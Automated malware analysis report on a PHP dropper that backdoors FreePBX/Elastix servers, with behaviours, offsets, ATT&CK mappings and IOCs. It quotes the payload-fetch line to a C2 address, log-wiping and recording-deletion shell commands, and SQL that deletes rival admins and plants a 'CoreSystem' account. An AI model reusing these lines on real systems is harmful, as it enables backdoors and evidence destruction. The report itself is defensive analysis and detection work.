Honeypot capture

PHP script dropper (bf75e6e3ad0c)

C2 verified

The pipeline statically recovered two command-and-control endpoints from a 4,932-byte PHP script, reading it as data only, and both name the same host, 217[.]60[.]97[.]40. C2 is the channel an infected machine uses to reach its operator for instructions. The sample was captured by a honeypot sensor network. Indicator values here are defanged, as they are in the IOC set they were rendered from.

A loader is the disposable first stage of an intrusion: a small program that works out what kind of machine it has landed on, fetches the payload built for it, starts it and exits. It carries none of the capability the operator wants, which lives in the second stage it downloads. A loader has to name the infrastructure it fetches from, in a form the device can resolve, so recovering a loader recovers the addresses the operator used to deliver payloads in that wave.

The script is a single-pass installer for FreePBX and Elastix VoIP PBX hosts. It harvests the victim’s own FreePBX database credentials, fetches a remote PHP payload once over plaintext HTTP, writes that payload verbatim into fixed filenames across the web root, and creates a CoreSystem administrator account in both the FreePBX and the Elastix user stores. The script runs once from top to bottom and exits; no loop encloses the fetch, no command dispatcher exists in the file, and nothing in it reads a request parameter. On that reading it is the installer rather than the implant itself, and the ongoing C2 capability belongs to the fetched payload, which is not present in the sample.

An automatic pipeline built on Binary Ninja did the analysis; no individual analyst performed the work, and the findings are attributable to Kinryu Labs. The pipeline read the sample as data and never executed it, contacted or resolved no recovered endpoint, and used strings and rabin2 to anchor every indicator to a file offset and corroborate it across both tools. Because the sample is interpreted source, file offsets are the only kind of address that exists for it.

The pipeline recovered eleven behaviours, each listed below with the offset of the statement implementing it and the pipeline’s confidence score.

BehaviourOffsetATT&CKConf
HTTP download of second-stage payload0x6abT1105, T1071.0010.95
Unix shell execution0x3bcT1059.0040.95
Webshell drop into the web root0x11b2T1505.003 (off-table)0.90
Credentials harvested from host config0xaeT1552.001 (off-table)0.90
Backdoor admin account, FreePBX MySQL0xaa0T1136.001 (off-table)0.90
Backdoor admin account, Elastix ACL0xf64T1136.001 / T1098 (off-table)0.90
Admin-panel symlink republication0xcd6—0.90
Destroy all other admin accounts0xa63T1531 (off-table)0.90
Destroy call recordings and backups0x414T1485 (off-table)0.90
Weak generated backdoor password0x121d—0.90
Masquerading as framework files0x10a1T10360.70

The pipeline recorded nine behaviours whose well-known ATT&CK techniques fall outside the harness’s offline ID table — T1505.003, T1136.001, T1098, T1070.002, T1070.004, T1070.006, T1485, T1531 and T1552.001. It named them in each capability’s description and withheld them from the machine-readable attack[] fields, because a wrong ID silently mis-tags the generated Sigma rule. It recorded each behaviour with evidence and listed the withheld IDs in 08_c2_deep_dive.md for a human to apply.

One URL, written twice

The file contains a single network statement, and it fetches the same URL twice. The literal appears at 0x6be and 0x6fc, as the values of the c and codes keys of $contents, and both reads are byte-identical — 687474703a2f2f3231372e36302e39372e34302f722f75702e747874. Both keys therefore hold the same bytes. The pipeline assesses the two-key structure as behaviourally inert and most likely vestigial from a version that staged two distinct payloads.

The pipeline read this string at 0x692:

$contents = array('c' => file_get_contents('hxxp[://]217[.]60[.]97[.]40/r/up[.]txt'), 'codes' => file_get_contents('hxxp[://]217[.]60[.]97[.]40/r/up[.]txt'));

and the same region read as bytes — the command dumps 144 bytes from 0x692, excerpted here from the line at 0x6b2, where the URL begins:

r2 -qq -c 'px 144 @ 0x692' sample.bin
0x000006b2  745f 636f 6e74 656e 7473 2827 6874 7470  t_contents('http
0x000006c2  3a2f 2f32 3137 2e36 302e 3937 2e34 302f  ://217.60.97.40/
0x000006d2  722f 7570 2e74 7874 2729 2c20 2763 6f64  r/up.txt'), 'cod

The transport is a bare GET /r/up.txt, built at 0x6ab by PHP’s HTTP stream wrapper via file_get_contents. Nothing in the file customises the request — it holds no stream_context_create call and no User-Agent, Host, Cookie or Content-Type string — and port 80 is inferred from the http scheme because the URL carries no :port suffix. A request for that path carrying no User-Agent header is atypical of legitimate traffic.

The profile records crypto with algorithm: "none", which states that the channel is unencrypted. The pipeline searched the whole file in two tools for base64_encode/base64_decode, gzinflate, gzuncompress, openssl_*, mcrypt_*, hash_hmac, bin2hex, pack/unpack, ord()/chr() and XOR, and found none of them; sha1() at 0xb0c and md5() at 0xf81 and 0xffe hash the backdoor password for storage in the two user tables and never touch network data, so recorded traffic to this endpoint is readable without decryption.

Both recovered endpoints — the URL and the bare IPv4 address inside it — carry an agreement verdict from a second decompiler backend, which resolved the same addresses and raises confidence they are real. Because the sample is a text script, that verification was byte-level rather than cross-decompiler.

The second stage exists only in the response body of that request, and the pipeline records a capture of that traffic as the highest-value artifact a responder could produce.

Four identical files in 81 directories

The drop set is 81 unique directories: seven seed paths crossed with eleven suffixes, deduplicated. Of the resulting paths, 57 are static and 24 depend on the victim’s AMPWEBROOT, and each is also walked one level deeper via readdir. Every write is gated on is_writeable(), so the script writes only where the web-server user can write; execution needs no root.

Into each writable directory go CoreACL.php, CoreClass.php, CoreAPI.php and CoreDB.php — names that imitate plausible application framework components so they blend into a FreePBX web root under casual directory listing. The pipeline assessed that masquerading reading at 0.70 confidence. CoreACL.php is written from $contents['c'] and the other three from $contents['codes'], and because both keys hold the same bytes, all four files are identical in content. The script then timestomps each dropped file at 0x11e6 to ten years before execution, so file timestamps are useless for scoping an incident on an affected host.

An affected host can be in any of three on-disk states. Populated Core*.php files mean the fetch succeeded and the compromise is active. Files containing an HTTP error page mean the endpoint answered 404 with a body, and PHP’s wrapper hands that back in place of the payload. The third state is undetermined. Whether a failed fetch still writes four zero-byte timestomped files turns on PHP’s !==-against-false semantics at the guard at 0x1190, and static analysis cannot evaluate that expression without running the interpreter. If that state does occur, zero-byte ten-year-old Core*.php files are evidence of a failed infection attempt on a host that should be expected to be re-targeted.

The script depends on PHP 5 — it calls mysql_connect/mysql_query, removed in PHP 7 — plus pcre, a /bin/sh reachable from exec() and system(), allow_url_fopen=On, and outbound tcp/80 to the host. Denying any one of these blocks it; with allow_url_fopen off, the fetch silently returns false and no payload is staged. The endpoint is a bare IPv4 literal, reached without name resolution, so a DNS-layer block will not stop this sample.

Persistence beyond the dropped files

Three of the four persistence mechanisms survive deletion of the dropped PHP files, so a responder who clears the web root leaves the CoreSystem database accounts and the two admin-panel symlinks in place. The file holds these database writes and symlinks, quoted verbatim from the bytes:

  • delete from ampusers where username!='admin' (0xa63) destroys every other FreePBX administrator account before the installer’s own is inserted.
  • INSERT INTO ampusers (username, password_sha1, sections) VALUES ('CoreSystem', …, '*') (0xaa0), falling back to a plaintext password column (0xb87) when the first schema guess fails; sections = '*' grants the account every module.
  • createUser('CoreSystem', '', md5($pass), '') (0xf64) against sqlite3:////var/www/db/acl.db (0xe83), then changePassword (0xfe9), re-taking the account even when it already exists, then addToGroup($tid, 1) (0x1016). Group 1 being the administrator group is an inference from the Elastix schema; the sample establishes only that the account joins group 1.
  • Two symlinks republish the admin panel at a second filesystem path: /var/www/html/digium_phones/CoreSystem → /var/www/html/admin, and CoreSystem → ../admin created relative to the working directory after the chdir at 0x341, so that one’s absolute path is install-dependent.

Every password the sample generates has a fixed structure. random_password() at 0x121d returns the literal t followed by seven characters drawn with rand() — not a CSPRNG — from a 62-character alphanumeric set, so each generated password is exactly eight characters and begins with a lowercase t. The value is per-execution and so is not statically recoverable, though a defender can still match the eight-character t-prefixed structure in the account’s password field. The script prints the password into the operator’s own HTTP response at 0xc9c and 0x104e, mails it nowhere, and uses the harvested AMPDB* credentials only locally.

The IOC set files CoreSystem under host_indicator.kind: process_name, because the c2_profile schema’s enum has no value for a database account and dropping the indicator would have lost the highest-value pivot in the sample. A defender should search for CoreSystem as a username in the FreePBX ampusers table and in the Elastix ACL store.

The low-disk branch

Two shell commands run when free disk space falls below 100 MB (disk_free_space at 0x36f, the test if ($freespace < 100) at 0x399), and the file holds them at 0x3bc and 0x414 as follows:

cd  /var/log/*.[0-9];nohup find . -type f | xargs -I {} cp /dev/null {} &
nohup rm /tmp/* /var/spool/asterisk/monitor/* /var/www/backup/*.gz &

The first truncates every rotated log file in place. Because the command empties each file in place instead of removing it, the file keeps its inode, ownership and mode, which file-integrity monitoring is less likely to flag than a deletion. The second removes Asterisk call recordings and compressed web backups, which destroys both the evidence and the recovery material.

The script gates the payload drop on the opposite comparison (if ($freespace > 100) at 0x755) over a measurement it recomputes at 0x72b, so within one run the destructive branch and the drop are normally exclusive of each other. A host with wiped logs and recordings but no dropped files was therefore hit by the low-space branch and should be expected to be re-targeted. Whether both branches can take effect in one execution is undetermined, because both commands put themselves in the background with nohup … & and whether they free enough space before that recomputation is a scheduling race, recorded as unresolved. A final rm -rf /tmp/*.txt /tmp/*.php (0x1317) clears the staging area but not the script, so the installer may still be on disk where it was dropped.

The config extractor’s endpoint

The config-extraction stage and the byte-level read disagree. Stage 06 reports a configuration block under single-byte XOR key 0x0f resolving to 89 readable config strings, and stage 13 reports one structured C2 endpoint, bb[.]us, parsed as a named host/port field rather than inferred from loose strings. The byte-level read contradicts both: the pipeline swept the whole file for any scheme-bearing or IPv4-shaped literal and found the two URL literals plus a local SQLite DSN, the encoding and cipher searches above returned empty, and radare2’s /ck and /x constant scans in phase 1 found nothing. Entropy measures how random a file’s bytes are and is used to spot compression or encryption; plain text scores low. The sample’s entropy is 5.2535 over 100% printable ASCII.

Artifacts

A reader can reproduce this reading from the bundle, which holds c2_profile.json, iocs.csv with its 16 indicators, blocklist.txt, the stage outputs 05_static_enrichment.json, 06_deep_static.json, 07_correlation.json, 08_emulation.json, 09_consensus.json, 10_packer.json, 13_config.json and 14_yara.json, and sample_lines_by_offset.txt. The sample is SHA-256 bf75e6e3ad0c6d27ddeb535a8af070a86d9578b3caf465595c2f5b5e026c184d, MD5 a3346727a35422c823ab027378818141, SHA-1 81c996368761ee35a69653d63b2fd84649f63ed9, and the full drop-path list is in extractor_output.json under drop_directories.

The second stage served from /r/up[.]txt

A responder on an affected host should produce a packet capture, because the second stage exists only in the response body of the GET to /r/up[.]txt. Whether the bare IPv4 literal 217[.]60[.]97[.]40 still answers on port 80 cannot be stated, since the pipeline contacted and resolved no recovered endpoint. The analysis describes neither the second stage, whose bytes were never in this sample, nor the installer’s runtime timing, retry and post-execution behaviour.

Family
unclassified
First seen
November 13, 2026
Vector
Runs as a dropper; the entry vector is not established by static analysis
Format
5 KB PHP script
VirusTotal
16/75 engines: trojan.webshell/abtrojan
Tags
dropper · http · script
Sample
By request. Email [email protected]

SHA-256

  • bf75e6e3ad0c6d27ddeb535a8af070a86d9578b3caf465595c2f5b5e026c184d as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures